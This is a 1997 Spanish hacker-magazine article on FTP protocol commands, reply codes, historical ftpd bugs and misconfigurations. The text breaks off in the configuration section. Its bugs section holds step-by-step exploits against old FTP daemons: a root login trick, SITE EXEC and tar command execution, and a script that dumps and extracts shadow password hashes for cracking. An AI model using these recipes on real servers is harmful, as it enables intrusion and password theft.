SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

Analisis y seguridad del protocolo FTP

      5699

Autor: Duke de Sicilia
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
o 09. ANALISIS Y SEGURIDAD DEL PROTOCOLO FTP                                o
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
                
                          
                          V 1.0á  Julio del 97
                        
                        ========================
                         Por El Duke de Sicilia
                        ========================




 1. CONTENIDOS
---------------

1. Contenidos                                    
2. Presentacion                                 
3. Introduccion
        3.A. Funcionamiento
        3.B. Representacion de los datos
        3.C. Estructuras de datos
4. Comandos  
        4.A. Indice de comandos y sintaxis basica
        4.B. Descripcion de los comandos basicos
        4.C. El comando SITE
5. Mensajes de respuesta
6. Bugs de distintas versiones
7. Defectos de configuracion
8. El ataque del salto (Bounce attack)
        8.A. Traer ficheros de un servidor al que no tenemos acceso
        8.B. Problemas
        8.C. Correo intraceable
9. Consejos de seguridad para administradores
10. Notas finales y bibliografia
11. Despedida 




 2. PRESENTACION 
-----------------

Hace mas de seis meses cuando empece a escribir este articulo, el uso del
protocolo FTP ya habia empezado a decaer... La fuerte irrupcion de la www,
el aumento del numero de servidores NT y las nuevas versiones simplificadas
(o limitadas) de software para ftpd, estaban acabando con el antiguo espiritu
de este protocolo. Esto ha hecho que haya tardado mas de lo normal en 
terminar el articulo, y haberlo tenido colgado unos cuantos meses.

Pero estas ultimas semanas he estado experimentando en Infovia una tecnica de 
salto a traves de servidores FTP y me he dado cuenta de que muchos servidores 
aun usan versiones antiquisimas del ftpd o que su configuracion es pesima. 
Esto me ha vuelto a animar en la tarea de terminar este texto, y como veis 
este es el resultado. (60k de texto)

Tal vez algunas de las informaciones de este texto se hayan quedado 
anticuadas en estos ultimos meses y solo sirvan para versiones antiguas del 
software de ftpd, pero como he dicho muchos servidores aun usan estas
versiones.

El articulo esta especialmente orientado a administradores de sistemas Unix 
con el ftpd instalado, y a personas acostumbradas al manejo de sistemas Unix 
e interesadas en temas de seguridad.

Como cualquier articulo sobre seguridad contiene informacion que puede ser
util para posibles intrusos en sistemas inseguros. Espero que esto no se 
produzca y que el texto sirva para evitar la existencia de estos sistemas
inseguros.




 3. INTRODUCCION                                                          
-----------------   
   
El estandar FTP se creo principalmente para cubrir estos objetivos:
-Promover el intercambio de ficheros.
-Aumentar el uso de ordenadores remotos.
-Proteger al usuario de variaciones en los sistemas de almacenamiento usados 
por los distintos servidores.
-Transmitir datos de una forma eficiente.

Actualmente con el auge de la web, el FTP esta siendo relegado al uso de una 
minoria, pero sus objetivos originales siguen siendo cumplidos sobradamente, 
con posibilidades que todavia la web no ha conseguido superar. De hecho
muchos de los servidores que ofrecen hospedaje de paginas web usan el 
protocolo FTP para subir y actualizar estas paginas.

A pesar de su veterania, los servicios que ofrece todavia son utiles para 
cualquier usuario de internet o de cualquier otra red tcp/ip. Yo 
personalmente recomiendo su uso como una forma mas de aprovechar internet. 
(Internet no es solo la web)


 3.A. FUNCIONAMIENTO
---------------------

No voy a profundizar demasiado en los aspectos tecnicos del funcionamiento 
del FTP, solo voy a dar un par de ideas necesarias.

El estandar FTP usa dos conexiones:
-Por un lado esta la conexion de control, que se establece normalmente en el 
puerto 21 y que es una conexion telnet normal. A traves de esta conexion se 
envian las ordenes al proveedor y se reciben los mensajes de respuesta de 
este.
-Por otro lado esta la conexion de datos, normalmente en el puerto 20. A 
traves de esta conexion se envian y reciben los ficheros que se transfieren.


 3.B. REPRESENTACION DE LOS DATOS (tipos de datos)
---------------------------------------------------

ASCII - Este es el tipo de dato por defecto.

EBCDIC - Usado entre hosts que usan el EBCDIC para sus transferencias
internas.
         
IMAGE - Los datos son enviados como bits continuos, se podria definir como 
transmision binaria.

LOCAL - Los datos son transferidos en bytes logicos del tama€o especificado 
en el segundo parametro.

FORMAT CONTROL - Los tipos ASCII y EBCDIC toman tambien un segundo parametro 
opcional. Este indica que tipo de control de formato vertical usan:

            NON PRINT - Valor por defecto. El fichero no contiene ningun 
            control de formato vertical.

            TELNET FORMAT CONTROLS - El fichero contiene los controles de 
            formato vertical ANSI/EBCDIC. Los mas habituales son: <CR>, <LF>, 
            <NL>, <VT> y <FF>.

            CARRIAGE CONTROL (ASA) - El fichero contiene controles de formato 
            vertical tipo ASA (fortran).


 3.C. ESTRUCTURAS DE DATOS (de ficheros)
-----------------------------------------

file-structure - Es el valor por defecto. No hay estructura interna, el 
fichero se considera como una secuencia continua de bytes.

record-structure -  El fichero esta hecho de marcas secuenciales. (se usa 
para ficheros de texto)

page-structure - El fichero esta constituido de paginas indexadas 
independientes.




 4. COMANDOS                                                              
-------------      
      
Los usuarios de sistemas operativos graficos (windoze) estan acostumbrados a 
que los programas de conexion a servidores FTP, sean de un manejo muy 
sencillo, y muchas veces incluso se usa para acceder a estos servidores los 
navegadores usados para la web, limitando mucho las capacidades de uso del 
FTP. (Ya que este tipo de programas usan un numero limitado de comandos al 
acceder al servidor de FTP y realizan todas las tareas de forma automatica
sin dejar al usuario interactuar.)

Este tipo de usuarios no llega a apreciar la potencia de uso que tienen los 
programas de FTP que permiten el uso directo de comandos, ya que estos 
programas pueden aprovechar al 100% las muchas posibilidades que ofrece un 
servidor FTP (Entre ella esta, como no, la posibilidad de hackear el sistema) 
Ya que dejan que su navegador realice todo el trabajo por ellos.

Por eso si se pretende un conocimiento amplio del funcionamiento de los 
servidores de FTP se necesita conocer y usar estos comandos. La mejor manera 
de acceder a un servidor FTP mediante comandos es usar el programa de acceso 
que viene por defecto en la mayoria (si no en todos) de los unix, aunque hay 
varios programas que funcionan bajo DOS o bajo Windows que permiten tambien
el uso de comandos.


 4.A. INDICE DE COMANDOS Y SINTAXIS BASICA
-------------------------------------------

Aqui va una lista de la mayoria de los comandos y su sintaxis:

USER <SP> <username> <CRLF>
PASS <SP> <password> <CRLF>
ACCT <SP> <account-information> <CRLF>
CWD  <SP> <pathname> <CRLF>
CDUP <CRLF>
SMNT <SP> <pathname> <CRLF>
QUIT <CRLF>
REIN <CRLF>
PORT <SP> <host-port> <CRLF>
PASV <CRLF>
TYPE <SP> <type-code> <CRLF>
STRU <SP> <structure-code> <CRLF>
MODE <SP> <mode-code> <CRLF>
RETR <SP> <pathname> <CRLF>
STOR <SP> <pathname> <CRLF>
STOU <CRLF>
APPE <SP> <pathname> <CRLF>
ALLO <SP> <decimal-integer> [<SP> R <SP> <decimal-integer>] <CRLF>
REST <SP> <marker> <CRLF>
RNFR <SP> <pathname> <CRLF>
RNTO <SP> <pathname> <CRLF>
ABOR <CRLF>
DELE <SP> <pathname> <CRLF>
RMD  <SP> <pathname> <CRLF>
MKD  <SP> <pathname> <CRLF>
PWD  <CRLF>
LIST [<SP> <pathname>] <CRLF>
NLST [<SP> <pathname>] <CRLF>
SITE <SP> <string> <CRLF>
SYST <CRLF>
STAT [<SP> <pathname>] <CRLF>
HELP [<SP> <string>] <CRLF>
NOOP <CRLF>


Esta lista esta expresada siguiendo el formato estandar establecido en el 
RFC 959. (Tambien es el formato que usa la propia ayuda del ftpd) Es facil 
de comprender, pero si alguien se lia, esto le puede ayudar un poco:

<username> = <string>
<password> = <string>
<account-information> = <string>
<string> = <char> 
         = <char><string>
<char> = any of the 128 ASCII characters except <CR> and <LF>
<marker> = <pr-string>
<pr-string> = <pr-char> 
            = <pr-char><pr-string>
<pr-char> = printable characters, any ASCII code 33 through 126
<byte-size> = <number>
<host-port> = <host-number>,<port-number>
<host-number> = <number>,<number>,<number>,<number>
<port-number> = <number>,<number>
<number> = any decimal integer 1 through 255
<form-code> = N 
            = T 
            = C
<type-code> = A [<sp> <form-code>] 
            = E [<sp> <form-code>] 
            = I
            = L <sp> <byte-size>
<structure-code> = F 
                 = R 
                 = P
<mode-code> = S 
            = B 
            = C
<pathname> = <string>
<decimal-integer> = any decimal integer

<SP> = espacio
<CRLF> = retorno de carro
[...] = los parametros entre corchetes son optativos


 4.B. DESCRIPCION DE LOS COMANDOS BASICOS
------------------------------------------

Y ahora una breve explicacion de que hace cada comando:

( USER ) USER NAME - Nombre de usuario. Normalmente es el primer comando 
transmitido. Es una cadena en la que se especifica el nombre de login.
En ftp-anonimo suele ser 'anonymous' o 'ftp'

( PASS ) PASSWORD - Clave de acceso. Debe ir precedido por el comando 
USER. En ftp-anonimo suele valer cualquier cadena, aunque algunos sistemas 
modernos rechazan cadenas extra€as.

( ACCT ) ACCOUNT - Cuenta de usuario. No suele usarse. En algunos sistemas se 
usa para accesos especiales.

( CWD ) CHANGE WORKING DIRECTORY - cambiar de directorio. Sirve como el 
nombre indica para moverse entre los directorios. Tiene un funcionamiento
similar al 'cd' del MS-DOS. (Por ejemplo 'CWD <SP> <..> <CRLF>' hace el
mismo efecto que un 'cd..' en el dos)

( CDUP ) CHANGE TO PARENT DIRECTORY - Volver al directorio padre. Descender
un nivel en arbol de directorios. (Igual que 'CWD <SP> <..> <CRLF>')
         
( SMNT ) STRUCTURE MOUNT - Montar estructura. Permite a un usuario 'montar' 
un sistema de ficheros diferente sin alterar su login.

( REIN ) REINITIALIZE - Reinicializar. Termina la conexion hecha por USER y 
devuelve el sistema a un estado similar al que se encuentra cuando la 
conexion se abre.

( QUIT ) LOGOUT - Salir. Termina la conexion echa por USER y cierra todas las 
conexiones.

( PORT ) DATA PORT - Especifica un puerto del Host para ser usado en la 
conexion de datos.

( PASV ) PASSIVE - Este comando ordena al servidor DTP que preste su atencion 
a un puerto de datos que no es el puerto por defecto y que espere una 
conexion.

( TYPE ) REPRESENTATION TYPE - Especifica el tipo de representacion de los 
datos. (Algunos sistemas pueden aceptar un segundo parametro) Los codigos 
posibles son:

               Primer parametro          Segundo parametro
               
             - A - ASCII      -->       - N - Non-print
                              -->       - T - Telnet format effectors
             - E - EBCDIC     -->       - C - Carriage Control (ASA)
                              
                              ^^^Solo estos dos aceptan segundo parametro
             - I - Image
               
             - L <byte size> - Local byte Byte size

( STRU ) FILE STRUCTURE - Especifica la estructura de ficheros. Los codigos 
asignados para cada estructura son:

F - File (no record structure)
R - Record structure
P - Page structure

( MODE ) TRANSFER MODE - Especifica el modo de transferencia de datos. Los 
modos son:

S - Stream
B - Block
C - Compressed

( RETR ) RETRIEVE - Este comando indica al servidor que transfiera una copia 
de un fichero al usuario. (Sirve para bajarse ficheros)

( STOR ) STORE - Este comando hace que el servidor acepte los datos 
transferidos y que los almacene en un fichero. (Sirve para subir un fichero)

( STOU ) STORE UNIQUE - Similar a STOR escepto que el fichero creado debe 
tener un nombre unico para ese directorio. (No puede sobreescribir archivos 
existentes)

( APPE ) APPEND - Similar a STOR, pero si el fichero ya existe los datos se 
almacenaran al final del archivo, sin sobreescribir el fichero original.

( ALLO ) ALLOCATE - Este comando es requerido por algunos servidores para 
reservar el suficiente espacio para recibir un nuevo fichero. Debe ir seguido 
de un comando STOR o APPE.

( REST ) RESTART - Le indica al servidor el indicador de lugar en el cual la
transferencia de un fichero debe ser continuada. Debe ir seguido de un 
comando apropiado para que la transferencia continue.

( RNFR ) RENAME FROM - Indica el nombre del fichero a renombrar. Debe ir 
acompa€ado del comando RNTO.

( RNTO ) RENAME TO - Indica el nuevo nombre del fichero especificado en RNFR. 
La combinacion de los dos comandos hace que el fichero sea  renombrado.

Ejemplo / para renombrar el fichero archivo.original a nuevo.nombre se 
haria:
        
usuario>     RNFR archivo.original
ftp.server>  350 Requested file action pending further information.
usuario>     RNTO nuevo.nombre
ftp.sever>   250 Requested file action okay, completed.

( ABOR ) ABORT - Le indica al servidor que aborte el comando anteior y las 
tranferencias de datos asociadas.

( DELE ) DELETE - Este comando hace que el fichero especificado sea borrado 
del servidor.

( RMD ) REMOVE DIRECTORY - Borra el directorio especificado.

( MKD ) MAKE DIRECTORY - Crea un directorio con el nombre especificado.

( PWD ) PRINT WORKING DIRECTORY - Este comando genera una respuesta que 
indica el directorio de trabajo actual.

( LIST ) LIST - Este comando hace que un listado del directorio especificado 
sea enviado al usuario.

( NLST ) NAME LIST - Este comando causa un listado del directorio, pero en el 
que solo se incluyen una lista de nombre de ficheros. (Menos detallado que el 
comando LIST)

( SITE ) SITE PARAMETERS - Este comando es usado por el servidor para proveer 
servicios especificos al sistema que son esenciales, pero no suficientemente 
universales para ser incluidos como comandos en el estandar del protocolo.
         
( SYST ) SYSTEM - Sirve para mostrar el tipo de sistema operativo del 
servidor.

( STAT ) STATUS - Este comando causa una respuesta a traves de la conexion de 
control que contiene informacion sobre el estatus de la operacion en progreso 
o sobre el propio sistema.

( HELP ) HELP - Muestra informacion de ayuda acerca de los comandos que 
acepta el servidor y los parametros que usa cada comando. (Usando la misma 
sintaxis que he usado yo en el apartado anterior)

Ejemplo / resultado del comando HELP sin argumentos

214-The following commands are recognized (* =>'s unimplemented).
   USER    PORT    STOR    MSAM*   RNTO    NLST    MKD     CDUP 
   PASS    PASV    APPE    MRSQ*   ABOR    SITE    XMKD    XCUP 
   ACCT*   TYPE    MLFL*   MRCP*   DELE    SYST    RMD     STOU 
   SMNT*   STRU    MAIL*   ALLO    CWD     STAT    XRMD    SIZE 
   REIN*   MODE    MSND*   REST    XCWD    HELP    PWD     MDTM 
   QUIT    RETR    MSOM*   RNFR    LIST    NOOP    XPWD 

( NOOP ) NOOP - Este comando no afecta al funcionamiento del servidor, lo 
unico que hace es enviar una respuesta de comprobacion "OK" (No hace nada)


Hay algunos comandos mas que estan bastante extendidos, pero por no ser
estandares no los voy a explicar. Si alguien tiene alguna duda sobre algun
comando que aqui no aparece, que me envie un mensaje para que lo incluya en 
proximas revisiones de este documento.


 4.C. EL COMANDO SITE 
----------------------

El potente comado SITE como ya he explicado permite al servidor incluir 
acciones que no estan establecidas en los comandos estandares. Estas acciones
pueden variar de un sistema a otro y en algunos servidores el comado SITE 
esta desactivado. (Se€alado con un asterisco, cuando se usa el comando HELP) 
Pero en general estas acciones son muy potentes y muy utiles en el manejo del 
servidor, pero a su vez pueden dar demasiadas ventajas a un posible hacker.

Por eso le dedico un apartado especial a este comando y voy a explicar 
brevemente las variantes del comando, que son mas extendidas o mas utiles. 
Aun asi explicare mas en profundidad algunos de estos comados mas adelante.

( SITE EXEC ) SITE EXECUTE - Este comando, tal vez sea el mas util y a la vez 
el mas peligroso comando disponible en un servidor FTP. Este comando permite 
ejecutar binarios (ejecutables, valga la redundancia) en el propio servidor.

( SITE HELP ) SITE HELP - Al igual que el HELP normal, muestra la lista de 
comandos disponibles, en este caso muestra los comandos SITE disponibles.

Ejemplo /

214-The following SITE commands are recognized (* =>'s unimplemented).
   UMASK   CHMOD   GROUP   NEWER   INDEX   ALIAS   GROUPS 
   IDLE    HELP    GPASS   MINFO   EXEC    CDPATH  

( SITE CHMOD ) SITE CHMOD - Similar al comando chmod de unix. Permite cambiar
las propiedades (el modo) de acceso de un fichero determinado.


El resto de comandos SITE son facilmente deducibles, por su nombre o por
los parametros que admite. (SITE HELP <comando>)




 5. MENSAJES DE RESPUESTA                                                 
-------------------------- 
         
Normalmente los mensajes que recibireis del servidor de FTP seran estos: 
(Clasificados por orden numerico)

110 Restart marker reply.
120 Service ready in nnn minutes.
125 Data connection already open; transfer starting.
150 File status okay; about to open data connection.
200 Command okay.
202 Command not implemented, superfluous at this site.
211 System status, or system help reply.
212 Directory status.
213 File status.
214 Help message.
215 NAME system type.
220 Service ready for new user.
221 Service closing control connection.
225 Data connection open; no transfer in progress.
226 Closing data connection.
227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).
230 User logged in, proceed.
250 Requested file action okay, completed.
257 "PATHNAME" created.
331 User name okay, need password.
332 Need account for login.
350 Requested file action pending further information.
421 Service not available, closing control connection.
425 Can't open data connection.
426 Connection closed; transfer aborted.
450 Requested file action not taken.
451 Requested action aborted: local error in processing.
452 Requested action not taken.
500 Syntax error, command unrecognized.
501 Syntax error in parameters or arguments.
502 Command not implemented.
503 Bad sequence of commands.
504 Command not implemented for that parameter.
530 Not logged in.
532 Need account for storing files.
550 Requested action not taken.
551 Requested action aborted: page type unknown.
552 Requested file action aborted.
553 Requested action not taken.
            

Y estas son las situaciones mas normales donde os apareceran estos mensajes:
            
-Establecimiento de la conexion-
               120
               220
               421

-Entrada-
               USER
                  230
                  530
                  500, 501, 421
                  331, 332
               PASS
                  230
                  202
                  530
                  500, 501, 503, 421
                  332
               ACCT
                  230
                  202
                  530
                  500, 501, 503, 421
               CWD
                  250
                  500, 501, 502, 421, 530, 550
               CDUP
                  200
                  500, 501, 502, 421, 530, 550
               SMNT
                  202, 250
                  500, 501, 502, 421, 530, 550

-Salida-
               REIN
                  120
                     220
                  220
                  421
                  500, 502
               QUIT
                  221
                  500
            
-Parametros de la transeferecia-
               PORT
                  200
                  500, 501, 421, 530
               PASV
                  227
                  500, 501, 502, 421, 530
               MODE
                  200
                  500, 501, 504, 421, 530
               TYPE
                  200
                  500, 501, 504, 421, 530
               STRU
                  200
                  500, 501, 504, 421, 530
            
-Comandos de uso de ficheros-
               ALLO
                  200
                  202
                  500, 501, 504, 421, 530
               REST
                  500, 501, 502, 421, 530
                  350
               STOR
                  125, 150
                     (110)
                     226, 250
                     425, 426, 451, 551, 552
                  532, 450, 452, 553
                  500, 501, 421, 530
               STOU
                  125, 150
                     (110)
                     226, 250
                     425, 426, 451, 551, 552
                  532, 450, 452, 553
                  500, 501, 421, 530
               RETR
                  125, 150
                     (110)
                     226, 250
                     425, 426, 451
                  450, 550
                  500, 501, 421, 530
               LIST
                  125, 150
                     226, 250
                     425, 426, 451
                  450
                  500, 501, 502, 421, 530
               NLST
                  125, 150
                     226, 250
                     425, 426, 451
                  450
                  500, 501, 502, 421, 530
               APPE
                  125, 150
                     (110)
                     226, 250
                     425, 426, 451, 551, 552
                  532, 450, 550, 452, 553
                  500, 501, 502, 421, 530
               RNFR
                  450, 550
                  500, 501, 502, 421, 530
                  350
               RNTO
                  250
                  532, 553
                  500, 501, 502, 503, 421, 530
               DELE
                  250
                  450, 550
                  500, 501, 502, 421, 530
               RMD
                  250
                  500, 501, 502, 421, 530, 550
               MKD
                  257
                  500, 501, 502, 421, 530, 550
               PWD
                  257
                  500, 501, 502, 421, 550
               ABOR
                  225, 226
                  500, 501, 502, 421
            
-Comandos informativos-
               SYST
                  215
                  500, 501, 502, 421
               STAT
                  211, 212, 213
                  450
                  500, 501, 502, 421, 530
               HELP
                  211, 214
                  500, 501, 502, 421
            
-Otros comandos-
               SITE
                  200
                  202
                  500, 501, 530
               NOOP
                  200
                  500 421




 6. BUGS DE LAS DISTINTAS VERSIONES                                       
------------------------------------

Al contrario de lo que se suele pensar, el software usado en los servidores
FTP en su historia no ha tenido demasiados bugs, comparandolo con otros 
servicios. Sin embargo debido a que es uno de los servicios que los hackers
han usado habitualmente para entrar en un sistema, se ha extendido la idea de 
que este software es inseguro. Excepto un par de famosos y muy usados bugs, 
la mayoria de los agujeros de seguridad que usan los hackers para atacar el 
sevidor de FTP no son bugs sino que son generalmente defectos de 
configuracion, por lo que son estos defectos de configuracion en los que mas 
nos vamos a fijar en este archivo. Aun asi, no hay que olvidar los bugs.


Aqui va una recopilacion de los bugs mas conocidos de los distintos
daemons de FTP que han existido a lo largo de su historia:

----------------------------------------

BUG: Usando el comando CWD en el login se puede conseguir entrar con 
nivel de root.

Este bug es uno de los historicos y dudo que funcione todavia en algun sitio
pero merece la pena mencionarlo ya que permitio grandes hackeos en el pasado.

Gracias a este simple bug, cualquier usuario externo podia entrar en la 
maquina como root.

% ftp -n
ftp> open victima.es
220 victima FTP server ready
ftp> quote user ftp
331 Guest login ok, send ident as password
ftp> quote cwd ~root            ----> Aqui esta la clave del asunto con esta
                                simple linea se conseguia entrar como root.
530 Please log with USER and PASS
ftp> quote pass ftp
230 Guest login ok. acces restrition apply.
ftp> 

Y ya esta, estamos dentro!! y con nivel de root.

----------------------------------------

BUG: Problemas de configuracion por defecto en el wu-ftpd. 

Algunos binarios precompilados del wu-ftpd-2.4 distribuidos con linux,
tienen una configuracion vulnerable. Este defecto no afecta a otras
distribuciones, solo se da en algunas versiones precompiladas para
linux.

El error en los binarios precompilados consistia en un error en
la configuracion de la variable _PATH_EXECPATH que estaba seleccionada 
como "/bin"  y que deberia ser "/bin/ftp-exec". Esto hacia, que cualquier 
usuario del servidor de FTP, pudiese ejecutar con el SITE EXEC los binarios
del directorio /bin en vez de los del directorio /bin/ftp-exec que son
los que le corresponden.

Debido a este problema, los usuarios del sistema pueden utilizar
los binarios del directorio /bin y conseguir nivel de root.

Para detectar el defecto, simplemente probamos si podemos ejecutar
algun binario del directorio /bin con la orden SITE EXEC.

usuario> SITE EXEC echo hola:-)
200-echo hola:-)
200-hola:-)
200  (end of 'echo hola:-)')
   
Si recibimos la linea hola:-), quiere decir que podemos ejecutar el binario 
"echo" y que tenemos acceso de ejecucion al directorio /bin.
   
----------------------------------------

BUG: Posibilidades "extra" del gnu tar.

Algunas versiones del gnu tar (compresor-descompresor) que a menudo
se usan en los servidores de FTP y que son de libre ejecucion por cualquier
usuario mediante site exec (incluido anonimos) tienen una posibilidad 
'extra' :) ya que permiten ejecutar cualquier binario especificado.

SITE EXEC tar -c -v --rsh-command=comando_a_ejecutar -f somebox:foo foo

----------------------------------------

BUG: Usando el wu-ftpd podemos ver el shadow password.

El bug afecta a las versiones menos recientes del wu-ftpd instaladas en
sistemas que usan shadow passwords.

Usuarios locales usando el problema de seguridad originado por /proc y que
hace que los ficheros abiertos no sean vueltos a cerrar, pueden tener acceso
al fichero: /etc/shadow

Aqui teneis el log del exploit facilitado por Marek Michalkiewicz:

marekm@i17linuxa:~$ ftp -n localhost
Connected to localhost.
220 i17linuxa FTP server (Version wu-2.4(2) Thu Jun 1 20:05:10 MET DST 1995)
ready.
ftp> user marekm
331 Password required for marekm.
Password: 
230 User marekm logged in.
ftp> ^Z
[1]+  Stopped                 ftp -n localhost
marekm@i17linuxa:~$ ps uwx
USER       PID %CPU %MEM SIZE  RSS TTY STAT START   TIME COMMAND
marekm   15510  0.0  5.4  384  384 pp6 S    14:32   0:01 -bash
marekm   15808  0.2  2.2   29  156 pp6 S    15:09   0:00 script
marekm   15809  0.1  2.3   29  168 pp6 S    15:09   0:00 script
marekm   15810  1.3  6.7  377  472 pp4 S    15:09   0:00 bash -i
marekm   15811  0.7  3.9  113  276 pp4 T    15:09   0:00 ftp -n localhost
marekm   15812  2.0  7.1  157  500 con S    15:09   0:00 -localhost: marekm:IDLE
marekm   15816  0.0  3.1   64  224 pp4 R    15:10   0:00 ps uwx
marekm@i17linuxa:~$ ls -al /proc/15812/fd
total 0
dr-x------   2 marekm   users           0 Jun  9 15:10 .
dr-xr-xr-x   4 marekm   users           0 Jun  9 15:10 ..
lrwx------   1 marekm   users          64 Jun  9 15:10 0 -> [0000]:0
lrwx------   1 marekm   users          64 Jun  9 15:10 1 -> [0000]:0
l-wx------   1 marekm   users          64 Jun  9 15:10 10 -> [0301]:4623
l-wx------   1 marekm   users          64 Jun  9 15:10 11 -> [0301]:4624
l-wx------   1 marekm   users          64 Jun  9 15:10 2 -> [0301]:10404
lrwx------   1 marekm   users          64 Jun  9 15:10 3 -> [0000]:0
lrwx------   1 marekm   users          64 Jun  9 15:10 4 -> [0000]:0
lr-x------   1 marekm   users          64 Jun  9 15:10 5 -> [0301]:38392
lr-x------   1 marekm   users          64 Jun  9 15:10 6 -> [0301]:8567
lrwx------   1 marekm   users          64 Jun  9 15:10 7 -> [0301]:34549
lr-x------   1 marekm   users          64 Jun  9 15:10 8 -> [0301]:8569
lr-x------   1 marekm   users          64 Jun  9 15:10 9 -> [0301]:32007
marekm@i17linuxa:~$ ls -i /etc/shadow
 32007 /etc/shadow
marekm@i17linuxa:~$ cat /proc/15812/fd/9
[ snip - I don't want everyone to see my /etc/shadow :-) ]
marekm@i17linuxa:~$ fg
ftp -n localhost
221 Goodbye.
marekm@i17linuxa:~$ exit

Creo que queda claro el mecanismo. Si a alguien le parece interesante que
comente con mas detalle el proceso que me mande un mensaje y en la proxima
version incluire la explicacion.

----------------------------------------

BUG: El comando SITE EXEC permite ejecutar setuid shells.

Simplemente creamos un setuid shell y lo ejecutamos mediante la orden
SITE EXEC. El bug afecta a versiones antiguas de ftpd.

----------------------------------------

BUG: El core dump de algunas versiones de ftpd puede contener passwords.

Un core dump puede ser originado en el wu-ftpd (y en otros daemons) de estas 
formas:
-Cuando se ejecuta el comando PASV mientras el usuario no esta logeado.     
-Cuando se introducen mas 100 argumentos para algun comando ejecutable.

Este volcado de la memoria del ftpd puede contener passwords de usuarios
anteriores, o si usamos esta tecnica explicada por jcea podemos ir sacando
los passwords usuario por usuario:

===================

El FTP de la universidad de Washington (WU-FTP), conocido por todos, tiene un 
notable bug (al menos hasta la version academy) que ocasiona un "core dump"
Si tenemos una cuenta de usuario podemos hacer lo siguiente:

a) Creamos un fichero ejecutable en nuestra cuenta, "z", con lo
siguiente:

\rm z2
echo open ftp>z2
echo user $1 xx>>z2
echo quote pasv >>z2
echo quit>>z2
ftp -n -i <z2
rm z2
strings /core>z2

b) Escogemos un usuario y escribimos "z usuario".

c) Tras unos segundos, se nos mostrara una pantalla "more"

d) Tecleamos "/usuario" y vamos pulsando "n" hasta encontrar un
fragmento del fichero de claves donde se encuentra el usuario en
cuestion.

e) Cut & Paste

f) Repetimos el proceso con otros usuarios

g) John the ripper

***
*** Explicacion:
***

El script indicado antes provoca un core del demonio de FTP. Dicho core se 
graba como root en el directorio /. Se puede hacer que lo grabe en nuestro 
directorio raiz introduciendo nuestro login y passwd, pero eso deja logs muy 
comprometedores.

Seguidamente se extraen las cadenas ASCII del core y se busca las que nos 
interesan. Las claves se almacenan en forma criptada, por lo que puede 
parecer que no ganamos nada, pero este sistema nos permite obtener una copia 
del fichero shadow de claves, normalmente inaccesible. Si no sabeis que hacer 
con el luego, mejor dedicaros a cultivar margaritas :).

Los resultados varian mucho en funcion del sistema operativo y la version de 
la libc que se emplee. En algunos casos se recupera el fichero shadow entero. 
En otros vamos pillando de cuatro en cuatro kbytes, por ejemplo. Jugad un 
poco con el y ved que sale.

***
*** Solucion: Instalar el WU-FTP Academy (el ultimo) o cambiar de daemon
***

===================

Con esta explicacion queda mas o menos aclarado el tema, si alguien necesita
mas datos que los pida y los incluire en el proximo numero.

----------------------------------------


Ya se que hay mas... pero no he tenido tiempo (ni ganas) para ponerme a
buscarlos. Si tengo tiempo en la proxima edicion tal vez incluya mas bugs
y exploits. Tambien publicare con mucho gusto cualquier bug que me mandeis
por correo. 




 7. DEFECTOS DE CONFIGURACION                                             
------------------------------

El software de ftpd a pesar de estar muy estandarizado (La mayoria de los
sistemas usa el wu-ftpd) y de no ser de una configuracion muy dificil, ha
sido tradicionalmente uno de los servicios peor configurados. Actualmente
cualquier administrador por muy pocos conocimientos que tenga, sabe como
configurar de forma segura un servidor FTP, debido a los muchos a€os que
lleva funcionando el estandar FTP. Esto ha hecho que haya sido muy estudiado 
y que este muy documentado. 

Aun asi sigue habiendo un porcentaje alto (dentro de lo que cabe) de 
servidores FTP mal configurados. Voy a tratar los errores mas comunes y
luego en la seccion de consejos de seguridad liquidare el tema.


1. El principal error de configuracion es la incorrecta asginacion de los 
propietarios (owners) de los ficheros y directorios:

----------------------------------------

drwxrwxrwx   8 ftp      ftp          512 Jul 16 17:41 .
drwxrwxrwx   8 ftp      ftp          512 Jul 16 17:41 ..
-r--r--r--   1 ftp      ftp           16 Jun 11  1996 .forward
-r--r--r--   1 ftp      ftp           46 May 23  1996 .message
lrwxrwxrwx   1 ftp      ftp            7 Apr 14 20:27 bin -> usr/bin
dr-xr-xr-x   2 ftp      ftp          512 Jan 22  1996 dev
dr-xr-xr-x   2 ftp      ftp          512 Jul 16  1996 etc
lrwxrwxrwx   1 ftp      ftp           12 Feb 14  1996 incoming -> pub/incoming
dr-xr-x---  12 ftp      ftp          512 Jul 16 17:41 priv
dr-xr-xr-x   8 ftp      ftp         1024 Mar  1 02:35 pub
dr-xr-xr-x   4 ftp      ftp          512 Feb 19  1996 usr

-->Aunque parezca mentira este listado es de un ftp real... El admistrador
tendra suerte si no le pasa nada.

----------------------------------------

La principal idea al configurar estos atributos es esta:
-Cuando un usuario externo entra en un servidor ftp como anonimo (anonymous)
entra como usuario 'ftp' por lo tanto cualquier archivo poseido por ftp
esta a su total disposicion. Es decir puede borrarlo, ejecutarlo, cambiar
sus propiedades, introducir un troyano, etc...

Y no solo basta con la configuracion de las correctas propiedades de acceso
ya que con la orden SITE CHMOD se pueden cambiar al gusto del usuario.

Este riesgo es muy grande y aunque puede ser evitado prohibiendo la ejecucion 
de comandos SITE la mejor solucion es asignar al usuario ftp el menor numero 
de ficheros y directorios posibles y por supuesto nunca, NUNCA poner el 
directorio raiz del servidor ftp en posesion de este usuario.

Ademas para mas seguridad los archivos importantes, el directorio raiz, 
etc... deben estar asignados al root.


2. Otro problema muy habitual y bastante relacionado con el anterior es la
mala asignacion de las propiedades (permisos) de acceso de los ficheros y 
directorios.

----------------------------------------

dr-x--x--x   7 ftp      ftp          512 Jul 16  1996 .
dr-x--x--x   7 ftp      ftp          512 Jul 16  1996 ..
-r--r--r--   1 root     root          16 Jun 11  1996 .forward
-r--r--r--   1 root     root          46 May 23  1996 .message
lrwxrwxrwx   1 ftp      ftp            8 Feb 14  1996 bin -> /usr/bin
dr-xr-xr-x   2 root     ftp          512 Jan 22  1996 dev
dr-xr-xr-x   2 root     ftp          512 Jul 16  1996 etc
